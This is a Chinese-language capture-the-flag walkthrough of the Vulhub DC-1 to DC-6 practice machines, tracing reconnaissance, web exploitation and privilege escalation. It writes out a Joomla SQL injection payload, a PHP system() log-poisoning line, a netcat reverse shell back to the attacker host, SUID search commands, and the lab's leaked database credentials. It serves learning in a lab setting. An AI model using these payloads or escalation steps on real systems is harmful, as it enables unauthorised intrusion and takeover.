vulhub DC

vulhub DC
JohnnyDC-1
探测
进行内网扫描,确定靶机
1 | nmap -sP 10.0.2.0/24 |
找到靶机的IP:10.0.2.7
扫描端口。查看存在哪些开放的端口,方便确定攻击向量
开放列表
- 22/tcp ssh
- 80/tcp http
- 111/tcp rpcbind
- 45400/tcp unknown
发现漏洞
之后访问80端口的页面看看有没有可以攻击的地方。
只有一个登录界面,其实看到这个页面可以想到弱口令,越权访问(通过创建新账户、更改密码)但是试了一下好像不行。然后扫一下目录看看有没有后台啥的,也没扫到。
之后使用Metasploit看看这个网站有没有什么漏洞,看看网站指纹
他的CMS版本为Drupal 7
,搜一下有啥漏洞
试了一下1可以用,设置目标主机地址,执行POC:
成功拿到shell
获得控制权
但是是用户权限,不是root权限.利用ls命令查看到有flag1.txt
提示我们看看配置文件
通过我们千辛万苦寻找找到一个配置的php文件,cat命令看看
然后一进去很瞩目的flag2和数据库的账号和密码,还给我们说是mysql数据库
得到如下信息
- username=dbuser
- password=R0ck3t
- databaseName=drupaldb
- database Driver=mysql
- drupal_hash_salt = ‘X8gdX7OdYRiBnlHoj0ukhtZ7eO4EDrvMkhN21SWZocs’
看到给了一个盐,感觉后面需要解密
得到了数据库的账号密码,就进去看看呗, 看到这个数据库里有个users表,表头有啥
看看有什么user
然后查看pass
搜索系统中有没有加密的sh
果然有一个,然后通过这个shell,生成一个我们自己的一个hash,把他替换到数据库里
通过账号密码在页面登录,看到flag3
同时在/home目录下还有flag4
提权
尝试suid提权
常用的suid查询
1 | find / -perm -u=s -type f 2>/dev/null |
发现find可以执行,使用exec执行命令看看能不能利用
看来是可以的,使用执行/bin/sh,得到一个新的root权限的shell
成功提权,查看最后的flag
DC-2
探测
但是发现访问不了,而且自动跳转到了dc-2这个域名下,所以我们直接改hosts文件,将这个域名直接指向他的IP就行
看看他的网站指纹
进入到首页看到第一个flag
之后扫描一下目录,看看有没有敏感文件或者是后台
果然扫到一个后台:
由于是wordpress,所以直接使用wpscan工具,进行用户名的枚举
得到的三个用户名存入users.txt中
之后通过cewl爬取一个密码的字典方便之后的爆破
得到了用户名,密码的字典,接下来就可以开始爆破了。 还是使用wpscan进行爆破。扫描出来两个账户
1 | jerry adipiscing |
登录jerry的账户,看到有个flag2,提示我们wordpress直接攻击不现实了,所以考虑其他办法。
考虑到之前有一个端口还开放着,而且这个端口号有点奇怪且22端口没开,维护人员如何维护,所以可能是ssh的端口,通过ssh连接上去, 发现密码不对,不是wordpress的密码,用另外一个用户tom
成功进入shell
并且发现有flag3,但是通过cat 显示没有找到这个命令。通过echo查看PATH路径,应该是没有加入bin
尝试添加/usr/bin和/bin/ ,对tom用户是只读的,更改不了
发现这是一个rbash,一个受限shell
看到这篇文章可以看看如何绕过:
最后试了一下,可以使用vi绕过,可以使用cd等命令了
查看环境变量发现以及可以更改PATH了
1 | export -p |
写入这两个路径,就可以使用所有命令了
首先查找suid文件,看看能不能进行提权
看看sudo可以执行啥,但是tom,不能执行,按照flag3的提示,还得su到jerry
通过jerry可以看到可以执行git 而且是nopasswd
使用git提权
成功拿下管理员权限
进入root目录拿到最后的flag
DC-3
进行IP地址收集
进行端口扫描
只打开了一个80端口,看来想ssh都不行,另外想办法咯
发现漏洞
提示只有这一个flag
对目录进行扫描,底下的资源还是很丰富的,但是有用的只有这个后台
看看网站指纹,他的版本号,方便找漏洞
看了以下metasploit上的漏洞库,有一个正好是3.7.0的,但是用不了,另辟蹊径。这个漏洞是利用SQL注入,那就顺着这个思路注入一下
按照这个漏洞,网上的payload为,确实可以回显
1 | ?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1) |
利用漏洞
那就利用这个注入点进行sql注入
成功拿到数据库
拿到数据库中的表
拿到这个表中的字段
脱库
1 | +--------+----------+--------------------------------------------------------------+ |
一个hash,利用john暴力破解,得到密码
进入拿到管理员权限进入后台
翻了一下,有一个php文件,可以利用一下
写入代码,创建一个连接打开shell进程。
攻击机进行监听
有个很尴尬的情况就是他有两个模板,所以都试试里面的index.php看看哪个是使用的就行
写入反弹shell代码,得到一个交互式程序
翻了半天好像没有特别好的利用点,所以直接使用系统漏洞试试
查找这个版本有什么漏洞
后面试了试,这个39772.txt可以用,查看他的使用方法
从远程下载利用工具
执行exp,成功getshell
拿到flag
DC-4
常规的扫描
没发现啥能用的,只有一个登陆页面,只能进行爆破,不然就是sql注入。拿到账号密码登录进去
一个系统工具的页面,可以执行三个命令。
抓包看看,肯定能改东西
执行以下whoami,是可以正常返回的,所以我们反弹一个shell
写一个交互界面
查看一下系统版本
看了一下系统漏洞很少,基本不能用
看看suid提权呢,可以使用exim4
找一下漏洞
把脚本上传到服务器
在靶机上下载这个脚本
给执行权限,然后执行,成功getshell
另外一个方法,在jim用户目录下有个备份的密码
写入本地上面使用hydra爆破
成功拿到密码
登录上去看看
发现有个邮件cat看看
得到了charles的密码,切换到charles用户看看
他也不是root用户,所以看看他的sudo权限有啥,发现一个nopasswd,应该就是用这个了
然后使用tee提权,创建一个hack账户,然后su到hack,提权成功
DC-5
信息收集
1 | 开放的端口: |
进行目录的扫描
也没有什么敏感的文件路径
指纹收集
寻找漏洞
进入80端口的网页,在contact找到一个交互的页面,看看能不能利用一下,随便提交一个东西上去,url也没什么动静
注意到之前进行目录扫描时,有一个footer.php,同时在thankyou这个页面的源码中,并没有引用这个footer.php
所以可能是一个文件包含
现在需要爆破一下包含的变量名称
得到变量名之后进行发包查看结果
由于之前进行网站指纹的收集时,看到使用的是nginx,知道nginx在收到错误请求时会将错误信息写到日志当中去,现在就看看这个错误日志的位置在哪。我们知道nginx默认的安装位置为/etc/nginx/nginx.conf
发包之后看到错误日志的位置
所以我们先上传一个php的语句执行我们想执行的内容,然后访问包含这个日志文件的地址,就执行了我们自己的php脚本
e.g. 我们希望执行ls,则php语句为,加入到file之后
1 | <?php system("ls") ?> |
包含那个错误日志文件,成功执行
接下来我们准备反弹shell
1 | nc -lvvp 6767 |
本机开启监听
写入我们的执行函数
1 | system("nc 10.0.2.15 6767 -e /bin/bash") |
访问error.log
,成功连接靶机。通过命令显示交互命令行
查看suid
1 | find / -perm -u=s -type f 2>/dev/null |
使用这个漏洞
查找存在的漏洞
但是好像在靶机上面直接运行这个脚本会有问题,所以把脚本中的文件给拆解在宿主上面编译再上传靶机,运行即可
DC-6
信息收集
扫描网段的IP
扫描其下开放的端口
访问它的80端口,看看有啥。但是自动跳转到wordy域名下
那就修改本机的host映射
成功访问进去,是一个wordpress页面
进行目录扫描,查看下面有哪些敏感地址或者后台地址
使用wpscan得到拥有的用户名,存在一个文件当中,方便之后的爆破
根据作者的提示,获得密码字典
使用wpscan进行爆破
进入后台之后发现使用了Activity monitor插件
漏洞利用
搜索存在的漏洞
将给的html文件复制到当前目录下,修改对应的url和需要执行的反弹shell命令
开启本地的监听
getshell
弹出交互式命令行
搜索敏感文件,找到一个thingstodo文件中有一个账号和密码
使用ssh连接上去
查看他的sudo权限,有一个不需要密码的提权命令
这个文件的所有者是jens,所以得到的权限只是jens的,那就继续找有没有可以利用的提权程序
再查看这个用户的权限
nmap可以插入脚本,并且使用管理员权限来执行。然后输入一个交互的命令,获得root权限